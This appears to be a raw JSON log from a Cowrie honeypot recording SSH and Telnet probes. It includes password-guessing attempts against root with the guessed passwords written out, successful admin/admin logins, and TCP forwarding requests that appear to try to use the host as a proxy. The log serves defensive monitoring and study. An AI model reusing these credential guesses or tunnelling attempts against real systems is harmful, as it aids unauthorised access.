{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50032,"dst_ip":"159.203.135.109","dst_port":23,"session":"60fabbf2591c","protocol":"telnet","message":"New connection: 135.148.14.151:50032 (159.203.135.109:23) [session: 60fabbf2591c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:04:58.779923Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35260,"dst_ip":"10.17.0.5","dst_port":22,"session":"97c85db1f9d7","protocol":"ssh","message":"New connection: 87.251.64.176:35260 (10.17.0.5:22) [session: 97c85db1f9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:05.836490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:05.842519Z","src_ip":"87.251.64.176","session":"97c85db1f9d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:05.945443Z","src_ip":"87.251.64.176","session":"97c85db1f9d7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:06.325735Z","src_ip":"87.251.64.176","session":"97c85db1f9d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:06.433091Z","session":"97c85db1f9d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:06.530122Z","src_ip":"87.251.64.176","session":"97c85db1f9d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:06.630637Z","src_ip":"87.251.64.176","session":"97c85db1f9d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":42730,"dst_ip":"159.203.135.109","dst_port":22,"session":"97a40aedf3e2","protocol":"ssh","message":"New connection: 37.233.85.71:42730 (159.203.135.109:22) [session: 97a40aedf3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:23.249298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:23.254321Z","src_ip":"37.233.85.71","session":"97a40aedf3e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:23.354061Z","src_ip":"37.233.85.71","session":"97a40aedf3e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thailand","message":"login attempt [root/thailand] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:23.654494Z","src_ip":"37.233.85.71","session":"97a40aedf3e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:24.758347Z","src_ip":"37.233.85.71","session":"97a40aedf3e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.05414080619812,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:27.576357Z","src_ip":"135.148.14.151","session":"688d5af3bfd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.65257740020752,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:33.432380Z","src_ip":"135.148.14.151","session":"60fabbf2591c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":33724,"dst_ip":"10.17.0.5","dst_port":22,"session":"29c79b66989f","protocol":"ssh","message":"New connection: 147.45.211.215:33724 (10.17.0.5:22) [session: 29c79b66989f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:41.144187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:41.149210Z","src_ip":"147.45.211.215","session":"29c79b66989f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:41.320565Z","src_ip":"147.45.211.215","session":"29c79b66989f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123454321a","message":"login attempt [root/123454321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:41.836505Z","src_ip":"147.45.211.215","session":"29c79b66989f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:43.009713Z","src_ip":"147.45.211.215","session":"29c79b66989f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42346,"dst_ip":"159.203.135.109","dst_port":23,"session":"1479a2d62515","protocol":"telnet","message":"New connection: 135.148.14.151:42346 (159.203.135.109:23) [session: 1479a2d62515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:05:48.121099Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49550,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4ac65f979f","protocol":"telnet","message":"New connection: 135.148.14.151:49550 (159.203.135.109:23) [session: 3c4ac65f979f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:02.492843Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50076,"dst_ip":"159.203.135.109","dst_port":23,"session":"5950deb909b0","protocol":"telnet","message":"New connection: 135.148.14.151:50076 (159.203.135.109:23) [session: 5950deb909b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:06.732339Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":55672,"dst_ip":"10.17.0.5","dst_port":22,"session":"d112657fe200","protocol":"ssh","message":"New connection: 103.149.28.157:55672 (10.17.0.5:22) [session: d112657fe200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:09.605614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:09.610288Z","src_ip":"103.149.28.157","session":"d112657fe200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:09.869061Z","src_ip":"103.149.28.157","session":"d112657fe200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa12345678","message":"login attempt [root/aa12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:10.906364Z","src_ip":"103.149.28.157","session":"d112657fe200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:12.168582Z","src_ip":"103.149.28.157","session":"d112657fe200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41030,"dst_ip":"159.203.135.109","dst_port":23,"session":"939123ed87f4","protocol":"telnet","message":"New connection: 135.148.14.151:41030 (159.203.135.109:23) [session: 939123ed87f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:13.322852Z"}
{"eventid":"cowrie.session.closed","duration":32.59977746009827,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:20.720751Z","src_ip":"135.148.14.151","session":"1479a2d62515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00219678878784,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:25.389086Z","src_ip":"135.148.14.151","session":"8652e6a938f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":57408,"dst_ip":"10.17.0.5","dst_port":22,"session":"46621e64edf8","protocol":"ssh","message":"New connection: 202.51.70.20:57408 (10.17.0.5:22) [session: 46621e64edf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:28.543738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:28.548304Z","src_ip":"202.51.70.20","session":"46621e64edf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:28.818743Z","src_ip":"202.51.70.20","session":"46621e64edf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456+","message":"login attempt [root/Ab123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:29.935454Z","src_ip":"202.51.70.20","session":"46621e64edf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:31.209569Z","src_ip":"202.51.70.20","session":"46621e64edf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34426,"dst_ip":"159.203.135.109","dst_port":23,"session":"b67ad2e9c07c","protocol":"telnet","message":"New connection: 135.148.14.151:34426 (159.203.135.109:23) [session: b67ad2e9c07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:32.603970Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35802,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9f9a5ac57da","protocol":"telnet","message":"New connection: 135.148.14.151:35802 (159.203.135.109:23) [session: e9f9a5ac57da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:35.802928Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37302,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e687e40237","protocol":"telnet","message":"New connection: 135.148.14.151:37302 (159.203.135.109:23) [session: a4e687e40237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:38.200858Z"}
{"eventid":"cowrie.session.closed","duration":36.411919593811035,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:38.904640Z","src_ip":"135.148.14.151","session":"3c4ac65f979f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.91620850563049,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:44.648303Z","src_ip":"135.148.14.151","session":"5950deb909b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.70699119567871,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:06:53.029681Z","src_ip":"135.148.14.151","session":"939123ed87f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42690825462341,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:09.030696Z","src_ip":"135.148.14.151","session":"b67ad2e9c07c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86554956436157,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:11.668378Z","src_ip":"135.148.14.151","session":"e9f9a5ac57da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.19669985771179,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:15.397445Z","src_ip":"135.148.14.151","session":"a4e687e40237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":52824,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4a916345678","protocol":"ssh","message":"New connection: 45.148.10.121:52824 (10.17.0.5:22) [session: b4a916345678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:18.423979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:18.429680Z","src_ip":"45.148.10.121","session":"b4a916345678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:18.513815Z","src_ip":"45.148.10.121","session":"b4a916345678","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:18.766814Z","src_ip":"45.148.10.121","session":"b4a916345678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:18.854551Z","session":"b4a916345678","protocol":"ssh"}
